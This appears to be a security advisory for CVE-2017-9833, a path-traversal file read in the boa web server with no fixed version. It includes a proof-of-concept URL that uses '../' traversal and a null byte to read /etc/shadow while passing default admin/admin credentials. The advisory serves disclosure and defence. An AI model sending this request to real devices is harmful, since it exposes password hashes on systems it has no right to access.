Arbitrary File Read Affecting boa package, versions [0,]


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
83.49% (99th percentile)

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  • Snyk IDSNYK-UNMANAGED-BOA-3138709
  • published23 Nov 2022
  • disclosed23 Nov 2022
  • creditMiguel Mendez Z

Introduced: 23 Nov 2022

CVE-2017-9833  (opens in a new tab)
CWE-22  (opens in a new tab)

How to fix?

There is no fixed version for boa.

Overview

Affected versions of this package are vulnerable to Arbitrary File Read via the FILECAMERA parameter, which accepts a full pathname to a file.

PoC

http://127.0.0.1/cgi-bin/wapopen?B1=OK&NO=CAM_16&REFRESH_TIME=Auto_00&FILECAMERA=../../etc/shadow%00&REFRESH_HTML=auto.htm&ONLOAD_HTML=onload.htm&STREAMING_HTML=streaming.htm&NAME=admin&PWD=admin&PIC_SIZE=0

CVSS Scores

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